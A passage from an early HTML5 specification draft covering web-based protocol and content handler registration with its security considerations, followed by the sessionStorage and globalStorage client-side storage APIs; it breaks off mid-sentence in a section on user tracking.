exception to be raised.  <p>User agents must raise a <code>SYNTAX_ERR</code> exception if the <var   title="">uri</var> argument passed to one of these methods does not   contain the exact literal string "<code>%s</code>".  <p>User agents must not raise any other exceptions (other than   binding-specific exceptions, such as for an incorrect number of arguments   in an ECMAScript implementation).  <p>This section does not define how the pages registered by these methods   are used, beyond the requirements on how to process the <var   title="">uri</var> value (see above). To some extent, the <span   title="navigating across documents">processing model for navigating across   documents</span> defines some cases where these methods are relevant, but   in general UAs may use this information wherever they would otherwise   consider handing content to native plugins or helper applications.  <p>UAs must not use registered content handlers to handle content that was   returned as part of a non-GET transaction (or rather, as part of any   non-idempotent transaction), as the remote site would not be able to fetch   the same data.  <h5 id=security><span class=secno>5.3.2.1. </span>Security and privacy</h5>  <p>These mechanisms can introduce a number of concerns, in particular   privacy concerns.  <p><strong>Hijacking all Web usage.</strong> User agents should not allow   protocols that are key to its normal operation, such as <code>http</code>   or <code>https</code>, to be rerouted through third-party sites. This   would allow a user's activities to be trivially tracked, and would allow   user information, even in secure connections, to be collected.  <p><strong>Hijacking defaults.</strong> It is strongly recommended that   user agents do not automatically change any defaults, as this could lead   the user to send data to remote hosts that the user is not expecting. New   handlers registering themselves should never automatically cause those   sites to be used.  <p><strong>Registration spamming.</strong> User agents should consider the   possibility that a site will attempt to register a large number of   handlers, possibly from multiple domains (e.g. by redirecting through a   series of pages each on a different domain, and each registering a handler   for <code>video/mpeg</code> AMPERSANDmdash; analogous practices abusing other Web   browser features have been used by pornography Web sites for many years).   User agents should gracefully handle such hostile attempts, protecting the   user.  <p><strong>Misleading titles.</strong> User agents should not rely wholy on   the <var title="">title</var> argument to the methods when presenting the   registered handlers to the user, since sites could easily lie. For   example, a site <code>hostile.example.net</code> could claim that it was   registering the "Cuddly Bear Happy Content Handler". User agents should   therefore use the handler's domain in any UI along with any title.  <p><strong>Hostile handler metadata.</strong> User agents should protect   against typical attacks against strings embedded in their interface, for   example ensuring that markup or escape characters in such strings are not   executed, that null bytes are properly handled, that over-long strings do   not cause crashes or buffer overruns, and so forth.  <p><strong>Leaking Intranet URIs.</strong> The mechanism described in this   section can result in secret Intranet URIs being leaked, in the following   manner:  <ol>   <li>The user registers a third-party content handler as the default    handler for a content type.   <li>The user then browses his corporate Intranet site and accesses a    document that uses that content type.   <li>The user agent contacts the third party and hands the third party the    URI to the Intranet content.  </ol>  <p>No actual confidential file data is leaked in this manner, but the URIs   themselves could contain confidential information. For example, the URI   could be   <code>https://www.corp.example.com/upcoming-aquisitions/samples.egf</code>,   which might tell the third party that Example Corporation is intending to   merge with Samples LLC. Implementors might wish to consider allowing   administrators to disable this feature for certain subdomains, content   types, or protocols.  <p><strong>Leaking secure URIs.</strong> User agents should not send HTTPS   URIs to third party sites registered as content handlers, in the same way   that user agents do not send <code>Referer</code> headers from secure   sites to third party sites.  <p><strong>Leaking credentials.</strong> User agents must never send   username or password information in the URIs that are escaped and included   sent to the handler sites. User agents may even avoid attempting to pass   to Web-based handlers the URIs of resources that are known to require   authentication to access, as such sites would be unable to access the   resources in question without prompting the user for credentials   themselves (a practice that would require the user to know whether to   trust the third party handler, a decision many users are unable to make or   even understand).  <h5 id=sample-handler-impl><span class=secno>5.3.2.2. </span>Sample user   interface</h5>  <p><em>This section is non-normative.</em>  <p>A simple implementation of this feature for a desktop Web browser might   work as follows.  <p>The <code title=dom-navigator-registerProtocolHandler><a   href="#registerprotocolhandler">registerProtocolHandler()</a></code>   method could display a modal dialog box:  <pre>||[ Protocol Handler Registration ]||||||||||||||||||||||||||||                                                            || This Web page:                                             ||                                                            ||    Kittens at work                                         ||    http://kittens.example.org/                             ||                                                            || ...would like permission to handle the protocol "x-meow:"  || using the following Web-based application:                 ||                                                            ||    Kittens-at-work displayer                               ||    http://kittens.example.org/?show=%s                     ||                                                            || Do you trust the administrators of the "kittens.example.   || org" domain?                                               ||                                                            ||              ( Trust kittens.example.org )  (( Cancel ))   ||____________________________________________________________|</pre>  <p>...where "Kittens at work" is the title of the page that invoked the   method, "http://kittens.example.org/" is the URI of that page, "x-meow" is   the string that was passed to the <code   title=dom-navigator-registerProtocolHandler><a   href="#registerprotocolhandler">registerProtocolHandler()</a></code>   method as its first argument (<var title="">protocol</var>),   "http://kittens.example.org/?show=%s" was the second argument (<var   title="">uri</var>), and "Kittens-at-work displayer" was the third   argument (<var title="">title</var>).  <p>If the user clicks the Cancel button, then nothing further happens. If   the user clicks the "Trust" button, then the handler is remembered.  <p>When the user then attempts to fetch a URI that uses the "x-meow:"   scheme, then it might display a dialog as follows:  <pre>||[ Unknown Protocol ]|||||||||||||||||||||||||||||||||||||||||                                                            || You have attempted to access:                              ||                                                            ||    x-meow:S2l0dGVucyBhcmUgdGhlIGN1dGVzdCE%3D               ||                                                            || How would you like FerretBrowser to handle this resource?  ||                                                            ||  (o) Contact the FerretBrowser plugin registry to see if   ||      there is an official way to handle this resource.     ||                                                            ||  ( ) Pass this URI to a local application:                 ||      [ /no application selected/             ] ( Choose )  ||                                                            ||  ( ) Pass this URI to the "Kittens-at-work displayer"      ||      application at "kittens.example.org".                 ||                                                            ||  [ ] Always do this for resources using the "x-meow"       ||      protocol in future.                                   ||                                                            ||                                     ( Ok )  (( Cancel ))   ||____________________________________________________________|</pre>  <p>...where the third option is the one that was primed by the site   registering itself earlier.  <p>If the user does select that option, then the browser, in accordance   with the requirements described in the previous two sections, will   redirect the user to   "http://kittens.example.org/?show=x-meow%3AS2l0dGVucyBhcmUgdGhlIGN1dGVzdCE%253D".  <p>The <code title=dom-navigator-registerContentHandler><a   href="#registercontenthandler">registerContentHandler()</a></code> method   would work equivalently, but for unknown MIME types instead of unknown   protocols.  <h3 id=storage><span class=secno>5.4. </span>Client-side session and   persistent storage</h3>  <!-- local storage -->  <h4 id=introduction0><span class=secno>5.4.1. </span>Introduction</h4>  <p><em>This section is non-normative.</em>  <p>This specification introduces two related mechanisms, similar to HTTP   session cookies <a href="#refsRFC2965">[RFC2965]</a>, for storing   structured data on the client side.  <p>The first is designed for scenarios where the user is carrying out a   single transaction, but could be carrying out multiple transactions in   different windows at the same time.  <p>Cookies don't really handle this case well. For example, a user could be   buying plane tickets in two different windows, using the same site. If the   site used cookies to keep track of which ticket the user was buying, then   as the user clicked from page to page in both windows, the ticket   currently being purchased would "leak" from one window to the other,   potentially causing the user to buy two tickets for the same flight   without really noticing.  <p>To address this, this specification introduces the <code   title=dom-sessionStorage><a   href="#sessionstorage">sessionStorage</a></code> DOM attribute. Sites can   add data to the session storage, and it will be accessible to any page   from that domain opened in that window.  <div class=example>   <p>For example, a page could have a checkbox that the user ticks to    indicate that he wants insurance:</p>   <pre>AMPERSANDlt;label> AMPERSANDlt;input type="checkbox" onchange="sessionStorage.insurance = checked"> I want insurance on this trip.AMPERSANDlt;/label></pre>   <p>A later page could then check, from script, whether the user had    checked the checkbox or not:</p>   <pre>if (sessionStorage.insurance) { ... }</pre>   <p>If the user had multiple windows opened on the site, each one would    have its own individual copy of the session storage object.</p>  </div>  <!--   sessionStorage.flightDeparture = 'OSL';   sessionStorage.flightArrival = 'NYC';   for (var i in forms[0].elements)      sessionStorage["data_" + i.name] = i.value;   if (!sessionStorage[documents])     sessionStorage[documents] = {};   sessionStorage[documents][filename] = <document/>;  -->  <p>The second storage mechanism is designed for storage that spans multiple   windows, and lasts beyond the current session. In particular, Web   applications may wish to store megabytes of user data, such as entire   user-authored documents or a user's mailbox, on the clientside for   performance reasons.  <p>Again, cookies do not handle this case well, because they are   transmitted with every request.  <p>The <code title=dom-globalStorage><a   href="#globalstorage">globalStorage</a></code> DOM attribute is used to   access the global storage areas.  <div class=example>   <p>The site at example.com can display a count of how many times the user    has loaded its page by putting the following at the bottom of its page:</p>   <pre>AMPERSANDlt;p>  You have viewed this page  AMPERSANDlt;span id="count">an untold number ofAMPERSANDlt;/span>  time(s).AMPERSANDlt;/p>AMPERSANDlt;script>  var storage = globalStorage['example.com'];  if (!storage.pageLoadCount)    storage.pageLoadCount = 0;  storage.pageLoadCount = parseInt(storage.pageLoadCount, 10) + 1;  document.getElementById('count').textContent = storage.pageLoadCount;AMPERSANDlt;/script></pre>  </div>  <p>Each domain and each subdomain has its own separate storage area.   Subdomains can access the storage areas of parent domains, and domains can   access the storage areas of subdomains.  <ul class=brief>   <li><code>globalStorage['']</code> is accessible to all domains.   <li><code>globalStorage['com']</code> is accessible to all .com domains   <li><code>globalStorage['example.com']</code> is accessible to example.com    and any of its subdomains   <li><code>globalStorage['www.example.com']</code> is accessible to    www.example.com and example.com, but not www2.example.com.  </ul>  <p>Storage areas (both session storage and global storage) store strings.   To store structured data in a storage area, you must first convert it to a   string.  <h4 id=the-storage><span class=secno>5.4.2. </span>The <code><a   href="#storage2">Storage</a></code> interface</h4>  <pre class=idl>interface <dfn id=storage2>Storage</dfn> {  readonly attribute unsigned long <a href="#length4" title=dom-Storage-length>length</a>;  DOMString <a href="#keyn" title=dom-Storage-key>key</a>(in unsigned long index);  <a href="#storageitem">StorageItem</a> <a href="#getitem" title=dom-Storage-getItem>getItem</a>(in DOMString key);  void <a href="#setitem" title=dom-Storage-setItem>setItem</a>(in DOMString key, in DOMString data);  void <a href="#removeitem" title=dom-Storage-removeItem>removeItem</a>(in DOMString key);};</pre>  <p>Each <code><a href="#storage2">Storage</a></code> object provides access   to a list of key/value pairs, which are sometimes called items. Keys are   strings, and any string (including the empty string) is a valid key.   Values are strings with associated metadata, represented by <code><a   href="#storageitem">StorageItem</a></code> objects.  <p>Each <code><a href="#storage2">Storage</a></code> object is associated   with a list of key/value pairs when it is created, as defined in the   sections on the <code title=dom-sessionStorage><a   href="#sessionstorage">sessionStorage</a></code> and <code   title=dom-globalStorage><a href="#globalstorage">globalStorage</a></code>   attributes. Multiple separate objects implementing the <code><a   href="#storage2">Storage</a></code> interface can all be associated with   the same list of key/value pairs simultaneously.  <p>Key/value pairs have associated metadata. In particular, a key/value   pair can be marked as either "safe only for secure content", or as "safe   for both secure and insecure content".  <p>A key/value pair is <dfn id=accessible title="accessible   keys">accessible</dfn> if either it is marked as "safe for both secure and   insecure content", or it is marked as "safe only for secure content" and   the script in question is running in a <span title="secure scripting   contexts">secure scripting context</span>.  <p>The <dfn id=length4 title=dom-Storage-length><code>length</code></dfn>   attribute must return the number of key/value pairs currently present and   <a href="#accessible" title="accessible keys">accessible</a> in the list   associated with the object.  <p>The <dfn id=keyn title=dom-Storage-key><code>key(<var   title="">n</var>)</code></dfn> method must return the name of the <var   title="">n</var>th <span>accessible</span> key in the list. The order of   keys is user-agent defined, but must be consistent within an object   between changes to the number of keys. (Thus, <a href="#setitem"   title=dom-Storage-setItem>adding</a> or <a href="#removeitem"   title=dom-Storage-removeItem>removing</a> a key may change the order of   the keys, but merely changing the value of an existing key must not.)   <!--The order of keys may differ between instances of the  <code>Storage</code> interface accessing the same list. [removed for  now for clarity, but if people ask, put it back. this is part of the  spec.]-->   If <var title="">n</var> is less than zero or greater than or equal to the   number of key/value pairs in the object, then this method must raise an   <code>INDEX_SIZE_ERR</code> exception.  <p>The <dfn id=getitem title=dom-Storage-getItem><code>getItem(<var   title="">key</var>)</code></dfn> method must return the <code><a   href="#storageitem">StorageItem</a></code> object representing the   key/value pair with the given <var title="">key</var>. If the given <var   title="">key</var> does not exist in the list associated with the object,   or is not <span>accessible</span>, then this method must return null.   Subsequent calls to this method with the same key from scripts running in   the same <span>security context</span> must return the same instance of   the <code><a href="#storageitem">StorageItem</a></code> interface. (Such   instances must not be shared across security contexts, though.)</p>  <!-- XXX define security context -->  <p>The <dfn id=setitem title=dom-Storage-setItem><code>setItem(<var   title="">key</var>, <var title="">value</var>)</code></dfn> method must   first check if a key/value pair with the given <var title="">key</var>   already exists in the list associated with the object.  <p>If it does not, then a new key/value pair must be added to the list,   with the given <var title="">key</var> and <var title="">value</var>, such   that any current or future <code><a   href="#storageitem">StorageItem</a></code> objects referring to this   key/value pair will return the value given in the <var   title="">value</var> argument. If the script setting the value is running   in a <span title="secure scripting contexts">secure scripting   context</span>, then the key/value pair must be marked as "safe only for   secure content", otherwise it must be marked as "safe for both secure and   insecure content".  <p>If the given <var title="">key</var> <em>does</em> exist in the list,   then, if the key/value pair with the given <var title="">key</var> is   <span>accessible</span>, it must have its value updated so that any   current or future <code><a href="#storageitem">StorageItem</a></code>   objects referring to this key/value pair will return the value given in   the <var title="">value</var> argument. If it is <em>not</em>   <span>accessible</span>, the method must raise a <a   href="#security2">security exception</a>.  <p>When the <code title=dom-Storage-setItem><a   href="#setitem">setItem()</a></code> method is successfully invoked (i.e.   when it doesn't raise an exception), events are fired on other <code><a   href="#htmldocument">HTMLDocument</a></code> objects that can access the   newly stored data, as defined in the sections on the <code   title=dom-sessionStorage><a   href="#sessionstorage">sessionStorage</a></code> and <code   title=dom-globalStorage><a href="#globalstorage">globalStorage</a></code>   attributes.</p>  <!--  not normative, see the sections below for the normative statement  -->  <p>The <dfn id=removeitem   title=dom-Storage-removeItem><code>removeItem(<var   title="">key</var>)</code></dfn> method must cause the key/value pair with   the given <var title="">key</var> to be removed from the list associated   with the object, if it exists and is <span>accessible</span>. If no item   with that key exists, the method must do nothing. If an item with that key   exists but is not <span>accessible</span>, the method must raise a <a   href="#security2">security exception</a>.  <p>The <code title=dom-Storage-setItem><a   href="#setitem">setItem()</a></code> and <code   title=dom-Storage-removeItem><a href="#removeitem">removeItem()</a></code>   methods must be atomic with respect to failure. That is, changes to the   data storage area must either be successful, or the data storage area must   not be changed at all.  <p>In the ECMAScript DOM binding, enumerating a <code><a   href="#storage2">Storage</a></code> object must enumerate through the   currently stored and <span>accessible</span> keys in the list the object   is associated with. (It must not enumerate the values or the actual   members of the interface). In the ECMAScript DOM binding, <code><a   href="#storage2">Storage</a></code> objects must support dereferencing   such that getting a property that is not a member of the object (i.e. is   neither a member of the <code><a href="#storage2">Storage</a></code>   interface nor of <code title=dom-Object>Object</code>) must invoke the   <code title=dom-Storage-getItem><a href="#getitem">getItem()</a></code>   method with the property's name as the argument, and setting such a   property must invoke the <code title=dom-Storage-setItem><a   href="#setitem">setItem()</a></code> method with the property's name as   the first argument and the given value as the second argument.  <h4 id=the-storageitem><span class=secno>5.4.3. </span>The <code><a   href="#storageitem">StorageItem</a></code> interface</h4>  <p>Items in <code><a href="#storage2">Storage</a></code> objects are   represented by objects implementing the <code><a   href="#storageitem">StorageItem</a></code> interface.  <pre class=idl>interface <dfn id=storageitem>StorageItem</dfn> {           attribute boolean <a href="#secure" title=dom-StorageItem-secure>secure</a>;           attribute DOMString <a href="#value7" title=dom-StorageItem-value>value</a>;};</pre>  <p>In the ECMAScript DOM binding, <code><a   href="#storageitem">StorageItem</a></code> objects must stringify to their   <code title=dom-StorageItem-value><a href="#value7">value</a></code>   attribute's value.  <p>The <dfn id=value7 title=dom-StorageItem-value><code>value</code></dfn>   attribute must return the current value of the key/value pair represented   by the object. When the attribute is set, the user agent must invoke the   <code title=dom-Storage-setItem><a href="#setitem">setItem()</a></code>   method of the <code><a href="#storage2">Storage</a></code> object that the   <code><a href="#storageitem">StorageItem</a></code> object is associated   with, with the key that the <code><a   href="#storageitem">StorageItem</a></code> object is associated with as   the first argument, and the new given value of the attribute as the second   argument.  <p><code><a href="#storageitem">StorageItem</a></code> objects must be   <em><a href="#live">live</a></em>, meaning that as the underlying <code><a   href="#storage2">Storage</a></code> object has its key/value pairs   updated, the <code><a href="#storageitem">StorageItem</a></code> objects   must always return the actual value of the key/value pair they represent.  <p>If the key/value pair has been deleted, the <code><a   href="#storageitem">StorageItem</a></code> object must act as if its value   was the empty string. On setting, the key/value pair will be recreated.  <p>The <dfn id=secure   title=dom-StorageItem-secure><code>secure</code></dfn> attribute must   raise an <code>INVALID_ACCESS_ERR</code> exception when accessed or set   from a script whose script context is not <span title="secure scripting   contexts">considered secure</span><!-- XXX  xref -->. (Basically, if the   page is not an SSL page.)  <p>If the scripting context <em>is</em> secure, then the <code   title=dom-StorageItem-secure><a href="#secure">secure</a></code> attribute   must return true if the key/value pair is considered "safe only for secure   content", and false if it is considered "safe for both secure and insecure   content". If it is set to true, then the key/value pair must be flagged as   "safe only for secure content". If it is set to false, then the key/value   pair must be flagged as "safe for both secure and insecure content".  <p>If a <code><a href="#storageitem">StorageItem</a></code> object is   obtained by a script that is not running in a <span title="secure   scripting contexts">secure scripting context</span>, and the item is then   marked with the "safe only for secure content" flag by a script that   <em>is</em> running in a secure context, the <code><a   href="#storageitem">StorageItem</a></code> object must continue to be   available to the first script, who will be able to read the value of the   object. However, any attempt to <em>set</em> the value would then start   raising exceptions as described in the previous section, and the key/value   pair would no longer appear in the appropriate <code><a   href="#storage2">Storage</a></code> object.  <h4 id=the-sessionstorage><span class=secno>5.4.4. </span>The <code   title=dom-sessionStorage><a   href="#sessionstorage">sessionStorage</a></code> attribute</h4>  <p>The <dfn id=sessionstorage   title=dom-sessionStorage><code>sessionStorage</code></dfn> attribute   represents the storage area specific to the current <a   href="#top-level">top-level browsing context</a>.  <p>Each <a href="#top-level">top-level browsing context</a> has a unique   set of session storage areas, one for each domain.  <p>User agents should not expire data from a browsing context's session   storage areas, but may do so when the user requests that such data be   deleted, or when the UA detects that it has limited storage space, or for   security reasons. User agents should always avoid deleting data while a   script that could access that data is running. When a top-level browsing   context is destroyed (and therefore permanently inaccessible to the user)   the data stored in its session storage areas can be discarded with it, as   the API described in this specification provides no way for that data to   ever be subsequently retrieved.  <p class=note>The lifetime of a browsing context can be unrelated to the   lifetime of the actual user agent process itself, as the user agent may   support resuming sessions after a restart.  <p>When a new <code><a href="#htmldocument">HTMLDocument</a></code> is   created, the user agent must check to see if the document's <a   href="#top-level">top-level browsing context</a> has allocated a session   storage area for that <a href="#domain0">document's domain</a>. If it has   not, a new storage area for that document's domain must be created.  <p>The <code><a href="#storage2">Storage</a></code> object for the   document's associated <code><a href="#windowhtml">WindowHTML</a></code>   object's <code title=dom-sessionStorage><a   href="#sessionstorage">sessionStorage</a></code> attribute must then be   associated with the domain's session storage area.  <p>When a new <a href="#top-level">top-level browsing context</a> is   created by cloning an existing <a href="#browsing">browsing context</a>,   the new browsing context must start with the same session storage areas as   the original, but the two sets must from that point on be considered   separate, not affecting each other in any way.  <p>When a new <a href="#top-level">top-level browsing context</a> is   created by a script in an existing <a href="#browsing">browsing   context</a>, or by the user following a link in an existing browsing   context, or in some other way related to a specific <code><a   href="#htmldocument">HTMLDocument</a></code>, then, if the new context's   first <code><a href="#htmldocument">HTMLDocument</a></code> has the same   <a href="#domain0" title="document's domain">domain</a> as the <code><a   href="#htmldocument">HTMLDocument</a></code> from which the new context   was created, the new browsing context must start with a single session   storage area. That storage area must be a copy of that domain's session   storage area in the original browsing context, which from that point on   must be considered separate, with the two storage areas not affecting each   other in any way.</p>  <!-- XXX define the case for window.open() -->  <p id=sessionStorageEvent>When the <code title=dom-Storage-setItem><a   href="#setitem">setItem()</a></code> method is called on a <code><a   href="#storage2">Storage</a></code> object <var title="">x</var> that is   associated with a session storage area, then, if the method does not raise   a <a href="#security2">security exception</a>, in every <code><a   href="#htmldocument">HTMLDocument</a></code> object whose <code><a   href="#windowhtml">WindowHTML</a></code> object's <code   title=dom-sessionStorage><a   href="#sessionstorage">sessionStorage</a></code> attribute's <code><a   href="#storage2">Storage</a></code> object is associated with the same   storage area, other than <var title="">x</var>, a <code   title=event-storage><a href="#storage3">storage</a></code> event must be   fired, as <a href="#storage3" title=event-storage>described below</a>.  <h4 id=the-globalstorage><span class=secno>5.4.5. </span>The <code   title=dom-globalStorage><a href="#globalstorage">globalStorage</a></code>   attribute</h4>  <pre class=idl>interface <dfn id=storagelist>StorageList</dfn> {  <a href="#storage2">Storage</a> <a href="#nameditem2" title=dom-Storagelist-namedItem>namedItem</a>(in DOMString domain);};</pre>  <p>The <dfn id=globalstorage   title=dom-globalStorage><code>globalStorage</code></dfn> object provides a   <code><a href="#storage2">Storage</a></code> object for each domain.  <p>In the ECMAScript DOM binding, <code><a   href="#storagelist">StorageList</a></code> objects must support   dereferencing such that getting a property that is not a member of the   object (i.e. is neither a member of the <code><a   href="#storagelist">StorageList</a></code> interface nor of <code   title=dom-Object>Object</code>) must invoke the <code   title=dom-Storagelist-namedItem><a   href="#nameditem2">namedItem()</a></code> method with the property's name   as the argument.  <p>User agents must have a set of global storage areas, one for each   domain.  <p>User agents should only expire data from the global storage areas for   security reasons or when requested to do so by the user. User agents   should always avoid deleting data while a script that could access that   data is running. Data stored in global storage areas should be considered   potentially user-critical. It is expected that Web applications will use   the global storage areas for storing user-written documents.  <p>The <dfn id=nameditem2   title=dom-Storagelist-namedItem><code>namedItem(<var   title="">domain</var>)</code></dfn> method tries to returns a <code><a   href="#storage2">Storage</a></code> object associated with the given   domain, according to the rules that follow.  <div id=splitDomain>   <p>The <var title="">domain</var> must first be split into an array of    strings, by splitting the string at "." characters (U+002E FULL STOP). If    the <var title="">domain</var> argument is the empty string, then the    array is empty as well. If the <var title="">domain</var> argument is not    empty but has no dots, then the array has one item, which is equal to the    <var title="">domain</var> argument. If the <var title="">domain</var>    argument contains consecutive dots, there will be empty strings in the    array (e.g. the string "hello..world" becomes split into the three    strings "hello", "", and "world", with the middle one being the empty    string).</p>   <p>Each component of the array must then have the IDNA ToASCII algorithm    applied to it, with both the AllowUnassigned and UseSTD3ASCIIRules flags    set. <a href="#refsRFC3490">[RFC3490]</a> If ToASCII fails to convert one    of the components of the string, e.g. because it is too long or because    it contains invalid characters, then the user agent must raise a    <code>SYNTAX_ERR</code> exception. <a href="#refsDOM3CORE">[DOM3CORE]</a>    The components after this step consist of only US-ASCII characters.</p>   <p>The components of the array must then be converted to lowercase. Since    only US-ASCII is involved at this step, this only requires converting    characters in the range A-Z to the corresponding characters in the range    a-z.</p>  </div>  <p>The resulting array is used in a comparison with another array, as   described below. In addition, its components are concatenated together,   each part separated by a dot (U+002E), to form the <dfn   id=normalised>normalised requested domain</dfn>.  <p class=example>If the original <var title="">domain</var> was   "AMPERSANDAring;sgAMPERSANDaring;rd.Example.Com", then the resulting array would have the   three items "xn--sgrd-poac", "example", and "com", and the normalised   requested domain would be "xn--sgrd-poac.example.com".  <p>Next, the <a href="#domain1" title="script's domain">script's own   domain</a> is processed to find if it is allowed to access the requested   domain.  <p>If the script's domain name in not known, e.g. if only the server's IP   address is known, and the <a href="#normalised">normalised requested   domain</a> is not the empty string, then the user agent must raise a <a   href="#security2">security exception</a>.  <p class=note>If the <a href="#normalised">normalised requested domain</a>   is the empty string, then the rest of this algorithm can be skipped. This   is because in that situation, the comparison of the two arrays below will   always find them to be the same AMPERSANDmdash; the first array in such a   situation is also empty and so permission to access that storage area will   always be given.  <p>If the script's domain contains no dots (U+002E) then the string   "<code>.localdomain</code>" must be appended to the script's domain.  <p>Then, the script's domain must be turned into an array, being split,   converted to ASCII, and lowercased as described for the <var   title="">domain</var> argument <a href="#splitDomain">above</a>.  <p>Of the two arrays, the longest one must then be shortened to the length   of the shorter one, by dropping items from the start of the array.  <div class=example>   <p>If the <var title="">domain</var> argument is "www.example.com" and the    script's domain is "example.com" then the first array will be a three    item array ("www", "example", "com"), and the second will be a two item    array ("example", "com"). The first array is therefore shortened,    dropping the leading parts, making both into the same array ("example",    "com").</p>  </div>  <p>If the two arrays are not component-for-component identical in literal   string comparisons, then the user agent must then raise a <a   href="#security2">security exception</a>.  <p>Otherwise, the user agent must check to see if it has allocated global   storage area for the <a href="#normalised">normalised requested   domain</a>. If it has not, a new storage area for that domain must be   created.  <p>The user agent must then create a <code><a   href="#storage2">Storage</a></code> object associated with that domain's   global storage area, and return it.  <p>When the requested <var title="">domain</var> is a top level domain, or   the empty string, or a country-specific sub-domain like "co.uk" or   "ca.us", the associated global storage area is known as <dfn   id=public0>public storage area</dfn>  <div id=globalStorageEvent>   <p>The <code title=dom-Storage-setItem><a    href="#setitem">setItem()</a></code> method might be called on a <code><a    href="#storage2">Storage</a></code> object that is associated with a    global storage area for a domain <var title="">d</var>, created by a    <code><a href="#storagelist">StorageList</a></code> object associated    with a <code><a href="#windowhtml">WindowHTML</a></code> object <var    title="">x</var>. Whenever this occurs, if the method didn't raise an    exception, a <code title=event-storage><a    href="#storage3">storage</a></code> event must be fired, as described    below, in every <code><a href="#htmldocument">HTMLDocument</a></code>    object that matches the following conditions:</p>   <ul>    <li>Its <code><a href="#windowhtml">WindowHTML</a></code> object is not     <var title="">x</var>, and    <li>Its <code><a href="#windowhtml">WindowHTML</a></code> object's <code     title=dom-sessionStorage><a     href="#sessionstorage">globalStorage</a></code> attribute's <code><a     href="#storagelist">StorageList</a></code> object's <code     title=dom-Storagelist-namedItem><a     href="#nameditem2">namedItem()</a></code> method would not raise a <a     href="#security2">security exception</a> according to the rules above if     it was invoked with the domain <var title="">d</var>.   </ul>   <p>In other words, every other document that has access to that domain's    global storage area is notified of the change.</p>  </div>  <h4 id=the-storage0><span class=secno>5.4.6. </span>The <code   title=event-storage><a href="#storage3">storage</a></code> event</h4>  <p>The <dfn id=storage3 title=event-storage><code>storage</code></dfn>   event is fired in an <code><a href="#htmldocument">HTMLDocument</a></code>   when a storage area changes, as described in the previous two sections (<a   href="#sessionStorageEvent">for session storage</a>, <a   href="#globalStorageEvent">for global storage</a>).  <p>When this happens, a <code><a href="#storage2">storage</a></code> event   in the <code>http://www.w3.org/2001/xml-events</code> namespace, which   bubbles, is not cancelable, has no default action, and which uses the   <code><a href="#storageevent">StorageEvent</a></code> interface described   below, must be fired on <a href="#the-body0">the body element</a>.  <p>However, it is possible (indeed, for session storage areas, likely) that   the target <code><a href="#htmldocument">HTMLDocument</a></code> object is   not active at that time. For example, it might not be the <a   href="#current">current entry</a> in the session history; user agents   typically stop scripts from running in pages that are in the history. In   such cases, the user agent must instead delay the firing of the event   until such time as the <code><a   href="#htmldocument">HTMLDocument</a></code> object in question becomes   active again.  <p>When there are multiple delayed <code><a   href="#storage2">storage</a></code> events for the same <code><a   href="#htmldocument">HTMLDocument</a></code> object, user agents should   coalesce events with the same <code title=dom-Storageevent-domain><a   href="#domain2">domain</a></code> value (dropping duplicates).  <p>If the DOM of a page that has delayed <code><a   href="#storage2">storage</a></code> events queued up is <a href="#discard"   title=discard>discarded</a>, then the delayed events are dropped as well.  <pre class=idl>interface <dfn id=storageevent>StorageEvent</dfn> : Event {  readonly attribute DOMString <a href="#domain2" title=dom-StorageEvent-domain>domain</a>;  void <a href="#initstorageevent" title=dom-StorageEvent-initStorageEvent>initStorageEvent</a>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString domainArg);  void <a href="#initstorageeventns" title=dom-StorageEvent-initStorageEventNS>initStorageEventNS</a>(in DOMString namespaceURIArg, in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString domainArg);};</pre>  <p>The <dfn id=initstorageevent   title=dom-StorageEvent-initStorageEvent><code>initStorageEvent()</code></dfn>   and <dfn id=initstorageeventns   title=dom-StorageEvent-initStorageEventNS><code>initStorageEventNS()</code></dfn>   methods must initialise the event in a manner analogous to the   similarly-named methods in the DOM3 Events interfaces. <a   href="#DOM3Events">[DOM3EVENTS]</a>  <p>The <dfn id=domain2   title=dom-StorageEvent-domain><code>domain</code></dfn> attribute of the   <code><a href="#storageevent">StorageEvent</a></code> event object must be   set to the name of the domain associated with the storage area that   changed if that storage area is a global storage area, or the string   "<code>#session</code>" if it was a session storage area.</p>  <!-- XXX onstorage should be defined -->  <h4 id=miscellaneous0><span class=secno>5.4.7. </span>Miscellaneous   implementation requirements for storage areas</h4>  <h5 id=disk-space><span class=secno>5.4.7.1. </span>Disk space</h5>  <p>User agents should limit the total amount of space allowed for a domain   based on the domain of the page setting the value.  <p>User agents should not limit the total amount of space allowed on a   per-storage-area basis, otherwise a site could just store data in any   number of subdomains, e.g. storing up to the limit in a1.example.com,   a2.example.com, a3.example.com, etc, circumventing per-domain limits.  <p>User agents should consider additional quota mechanisms (for example   limiting the amount of space provided to a domain's subdomains as a group)   so that hostile authors can't run scripts from multiple subdomains all   adding data to the global storage area in an attempted denial-of-service   attack.  <p>User agents may prompt the user when per-domain space quotas are   reached, allowing the user to grant a site more space. This enables sites   to store many user-created documents on the user's computer, for instance.  <p>User agents should allow users to see how much space each domain is   using.  <p>If the storage area space limit is reached during a <code   title=dom-Storage-setItem><a href="#setitem">setItem()</a></code> call,   the user agent should raise an exception.</p>  <!-- XXX which one? -->  <p>A mostly arbitrary limit of five megabytes per domain is recommended.   Implementation feedback is welcome and will be used to update this   suggestion in future.  <h5 id=threads0><span class=secno>5.4.7.2. </span>Threads</h5>  <p>Multiple browsing contexts must be able to access the global storage   areas simultaneously in a predictable manner. Scripts must not be able to   detect any concurrent script execution.  <p>This is required to guarentee that the <code title=dom-Storage-length><a   href="#length4">length</a></code> attribute of a <code><a   href="#storage2">Storage</a></code> object never changes while a script is   executing, other than in a way that is predictable by the script itself.  <p>There are various ways of implementing this requirement. One is that if   a script running in one browsing context accesses a global storage area,   the UA blocks scripts in other browsing contexts when they try to access   <em>any</em> global storage area until the first script has executed to   completion. (Similarly, when a script in one browsing context accesses its   session storage area, any scripts that have the same top level browsing   context and the same domain would block when accessing their session   storage area until the first script has executed to completion.) Another   (potentially more efficient but probably more complex) implementation   strategy is to use optimistic transactional script execution. This   specification does not require any particular implementation strategy, so   long as the requirement above is met.  <h4 id=security0><span class=secno>5.4.8. </span>Security and privacy</h4>  <h5 id=user-tracking><span class=secno>5.4.8.1. </span>User tracking</h5>  <p>A third-party advertiser (or any entity capable of getting content   distributed to multiple sites) could use a unique identifier stored in its   domain's global storage area to track a user across multiple sessions,   building a profile of the user's interests to allow for highly targetted   advertising. In conjunction with a site that is aware of the user's real   identity (for example an e-commerce site that requires authenticated   credentials), this could allow oppressive groups to target 